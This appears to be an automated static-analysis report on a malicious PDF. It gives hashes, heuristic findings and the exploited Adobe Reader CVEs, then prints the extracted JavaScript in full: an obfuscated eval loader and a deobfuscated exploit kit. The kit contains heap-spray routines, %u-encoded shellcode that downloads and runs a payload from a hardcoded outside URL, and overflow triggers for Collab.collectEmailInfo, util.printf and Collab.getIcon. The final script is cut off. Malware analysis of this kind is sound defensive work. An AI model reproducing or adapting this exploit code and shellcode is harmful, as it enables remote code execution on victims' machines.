Malicious PDF — malware analysis report

Static analysis result for SHA-256 818e7d4a7d12f320…

MALICIOUS

PDF

5.9 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad)
MD5: bcc9b91698f85a2a65584d0bf270ea66 SHA-1: 4fa5c5c6d8eea997a95373bafaad890fae5c8a04 SHA-256: 818e7d4a7d12f320cbea396c957186949301186f0bc423ddb1c7bd279227b5af
550 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains JavaScript that exploits multiple CVEs (CVE-2007-5659 and CVE-2009-0927) in Adobe Reader. The embedded JavaScript is designed to download a second-stage payload from the URL http://faab.ir/images/cgi-include/images/linux/dev/null/load.php?spl=pdf_exp. This indicates a clear intent to execute arbitrary code and download further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-35931 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35931
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://faab.ir/images/cgi-include/images/linux/dev/null/load.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js
34e7f7dbaf631b7be6a73745ab739a63e22f487a1caaed9096dc5e477d0edc45		 pdf-javascript-stream PDF /JS object 6 at offset 0x1419 801 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var skNMCHYQiZAhDF73U = "";
var aQsrkWJt6wsEEgCxRZ = "";


function xxy()
{
return eval("yerr6ZQFHeUNgyEZp = th"+"i"+"s.in"+"fo.ti"+"tle;");
}


function idLP00L399m6GvAoZ(VqpQwPdRuCDQ1jze6,VqpQwPdRuCDQ1jze6asd,wXzXuImFqaPMVilb8fg)
{
var ReSPECTTTa = eval;
ReSPECTTTa(VqpQwPdRuCDQ1jze6);
}


function loEkqNtdS0Zdy9Ioy(wXzXuImFqaPMVilb8,skNMCHYQiZAhDF73Usdf,loEkqNtdS0Zdy9Ioyas,VqpQwPdRuCDQ1jze6a)
{
var Y69sB6kQKRcHtCbX5 = "%";
var FFFoFF = "skNMCHYQiZAhDF73U = wXzXuImFqaPMVilb8.replace(/4563234 d 2342342 a 2343 b 342/g,Y69sB6kQKRcHtCbX5);"
var ReSPECTTT = FFFoFF; eval(ReSPECTTT);




idLP00L399m6GvAoZ("var QsrkWJt6wsEEgCxRZ = u"+"n"+"e"+"s"+"cap"+"e(skNMCHYQiZAhDF73U);");
idLP00L399m6GvAoZ(QsrkWJt6wsEEgCxRZ);
}
xxy();
loEkqNtdS0Zdy9Ioy(yerr6ZQFHeUNgyEZp);
legacy_pdfkit_stage_000.js
186340241e5fafa3955e017cac362435f981c98eb57e49c76906eb446522d672		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x16E 5129 bytes
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u662F%u6161%u2E62%u7269%u692F%u616D%u6567%u2F73%u6763%u2D69%u6E69%u6C63%u6475%u2F65%u6D69%u6761%u7365%u6C2F%u6E69%u7875%u642F%u7665%u6E2F%u6C75%u2F6C%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u662F%u6161%u2E62%u7269%u692F%u616D%u6567%u2F73%u6763%u2D69%u6E69%u6C63%u6475%u2F65%u6D69%u6761%u7365%u6C2F%u6E69%u7875%u642F%u7665%u6E2F%u6C75%u2F6C%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}  function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u662F%u6161%u2E62%u7269%u692F%u616D%u6567%u2F73%u6763%u2D69%u6
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.